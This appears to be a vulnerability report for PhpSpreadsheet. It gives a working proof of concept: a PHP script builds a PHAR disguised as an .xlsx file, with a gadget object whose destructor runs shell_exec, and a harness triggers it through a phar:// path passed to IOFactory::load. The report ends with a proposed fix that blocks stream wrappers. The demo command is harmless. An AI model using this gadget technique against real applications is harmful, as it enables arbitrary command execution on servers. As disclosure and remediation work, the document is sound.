<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}

IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }

    /** @param mixed[] $data */
    public function __unserialize(array $data): void
    {
        $this->tempFileName = '';

        throw new SpreadsheetException('Unserialize not permitted');
    }

$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
    throw new ...
}